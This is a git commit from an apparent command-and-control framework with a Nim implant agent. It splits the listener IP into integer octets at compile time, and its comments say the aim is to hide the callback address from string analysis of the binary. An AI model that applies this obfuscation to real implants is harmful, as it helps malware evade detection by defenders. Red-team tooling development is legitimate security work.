Hide hardcoded IP address from agent binary by splitting it up into integer octets

This commit is contained in:
Jakob Friedl
2025-06-02 21:37:58 +02:00
parent ac1bc22b93
commit b25d09e282
4 changed files with 26 additions and 6 deletions

View File

@@ -5,7 +5,10 @@ import ./[types, http, task]
import commands/shell
const ListenerUuid {.strdefine.}: string = ""
const ListenerIp {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
@@ -22,13 +25,16 @@ proc main() =
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay):
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
var config = AgentConfig(
listener: ListenerUuid,
ip: ListenerIp,
ip: address,
port: ListenerPort,
sleep: SleepDelay
)

View File

@@ -1,5 +1,8 @@
# Agent configuration
-d:ListenerUuid="JEBFQPEP"
-d:ListenerIp="127.0.0.1"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555
-d:SleepDelay=10

View File

@@ -121,13 +121,19 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../agents/{payload}/nim.cfg"
let agentConfigFile = fmt"../agents/{payload}/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
-d:ListenerUuid="{listener.name}"
-d:ListenerIp="{listener.address}"
-d:Octet1="{first}"
-d:Octet2="{second}"
-d:Octet3="{third}"
-d:Octet4="{fourth}"
-d:ListenerPort={listener.port}
-d:SleepDelay={sleep}
""".replace(" ", "")

View File

@@ -3,6 +3,11 @@ import std/wordwrap
import ./[types]
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
# TODO: Verify that address is in correct, expected format
let octets = ip.split('.')
return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
proc validatePort*(portStr: string): bool =
try:
let port: int = portStr.parseInt